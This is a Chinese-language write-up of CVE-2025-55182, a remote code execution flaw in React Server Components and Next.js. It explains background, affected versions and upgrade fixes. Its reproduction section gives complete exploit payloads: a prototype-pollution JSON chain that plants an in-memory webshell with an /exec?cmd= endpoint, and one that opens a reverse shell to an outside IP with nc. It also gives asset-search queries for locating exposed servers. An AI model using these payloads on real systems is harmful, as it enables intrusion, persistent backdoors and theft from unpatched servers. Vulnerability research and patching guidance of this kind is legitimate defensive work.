React(next.js)远程代码执行漏洞(CVE-2025-55182)详解及复现
[TOC]
名词解释
react是什么?
简单来说,React 是一个 JavaScript 库(注意,它不是框架)。
它用于构建用户界面,也就是 UI 部分,很多人认为 React 是 MVC 中的 V(视图)。
React 起源于 Facebook 的内部项目,于 2013 年 5 月开源。
图标如下:
Next.js是什么?
一个基于React的全栈Web开发框架。React本身只是一个库,要构建一个完整的生产级应用(需要考虑路由、服务端渲染、打包优化、API 等)需要搭配很多其他工具进行复杂配置。Next.js 把这些最佳实践和工具都整合好了,提供了一套开箱即用的解决方案。
React Server Components (RSC)是什么?
React的一种新架构模型,它允许开发者将组件明确地分为两种:
客户端组件:传统的 React 组件,在浏览器中运行,可以处理交互、使用 useState、useEffect 等。
服务器组件:默认在服务器端运行的组件。它们不在客户端打包,因此可以安全、直接地访问数据库、文件系统等后端资源,并且不会增加客户端 JavaScript 包的大小。
这样做的好处:提升性能(减少客户端代码)、改善开发体验(直接从组件访问数据)、增强安全性(敏感逻辑和密钥保留在服务器)。
为了支持RSC,React 团队定义了一种特殊的"协议"(Flight协议),用于在服务器端和客户端之间传输RSC的渲染结果(不是HTML,而是一种紧凑的、可序列化的数据流格式)。
react-server-dom-webpack是什么?
这是RSC最早的官方实现,与 Webpack 打包工具深度集成。它告诉Webpack如何区分服务器组件和客户端组件,并如何打包它们。
react-server-dom-turbopack是什么?
这是为了支持Turbopack (由 Webpack 原作者开发、Vercel 推出的新一代增量打包工具,速度极快)而提供的RSC绑定器。Next.js 13+ 开始,当你在next.config.js中启用 experimental.turbopack = true 时,就会使用这个包(通过 --turbopack 标志启动开发服务器)。
react-server-dom-parcel是什么?
这是为了支持Parcel(另一个零配置的打包工具)而提供的 RSC 绑定器。如果你使用 Parcel 打包工具来构建你的React应用,并且想使用RSC特性,就需要用到这个包。它让Parcel具备了理解 RSC 的能力。
漏洞影响范围
受影响的React包:
react-server-dom-parcel:19.0.0、19.1.0、19.1.1和19.2.0
react-server-dom-webpack:19.0.0、19.1.0、19.1.1和19.2.0
react-server-dom-turbopack:19.0.0、19.1.0、19.1.1和19.2.0
受影响的框架和工具:
Next.js版本 ≥14.3.0-canary.77、≥15 和 ≥16
Vite、Parcel、React Router、RedwoodSDK、Waku等嵌入或依赖于React Server Components实现的框架和插件
利用条件
条件:必须同时使用React Server Components和App Router模式
不受影响条件:
-
如果您的应用只是纯前端页面(没有服务器端代码),则不受此漏洞影响
-
如果您的应用没有使用React服务端组件(RSC)功能,则不受此漏洞影响
-
前后端分离项目:如果您使用React仅作为前端开发,后端是独立的API服务,则不受此漏洞影响
-
如果您没有使用Next.js进行全栈开发项目,则不受此影响
-
如果您的Next.js使用Pages Router而非App Router架构模型,则不受此影响。
漏洞原因
基于React Flight协议发现了一条新的漏洞利用链,攻击者通过精心构造Flight协议的数据块(chunks),在反序列化的早期阶段就污染了对象原型,并最终劫持了Promise的解析过程,实现任意代码执行,它不依赖应用导出任何危险函数。目前该链可以在Next.js的服务端(使用App Router)中无条件触发!
漏洞环境搭建
1 | npm create next-app@16.0.6 react -y |
漏洞复现
应尽量避免使用execSync函数执行可能造成系统阻塞的命令(如ping,curl,wget等),因为Node.js是单线程事件循环模型,execSync会阻塞整个事件循环,导致所有请求都被阻塞。推荐使用异步exec。
- 有回显
1 | POST /(或者/apps) HTTP/1.1 |
- 内存马
1 | {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='/exec'){const cmd=parsedUrl.query.cmd||'whoami';cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} |
使用方法示例:
1 | xxx:3000/exec?cmd=whoami |
- 反弹shell
1 | {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nc -c sh 192.168.50.226 4444');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} |
利用原理
1 | https://gist.github.com/HerringtonDarkholme/87f14efca45f7d38740be9f53849a89f |
空间测绘
1 | 1. app="Next.js" && body="/_next/static/chunks/app/" |
修复方式
Next.js修复方案:
• Next.js 14.3.0-canary.77 或更高版本的 canary 版本,请降级到最新的稳定版 14.x
• 15.0.x修复方案:npm install next@15.0.5
• 15.1.x修复方案:npm install next@15.1.9
• 15.2.x修复方案:npm install next@15.2.6
• 15.3.x修复方案:npm install next@15.3.6
• 15.4.x修复方案:npm install next@15.4.8
• 15.5.x修复方案:npm install next@15.5.7
• 16.0.x修复方案:npm install next@16.0.7
React修复方案:
• react-server-dom-parcel
• react-server-dom-turbopack
• react-server-dom-webpack
请升级至 19.2.1或19.1.2或19.0.1版本








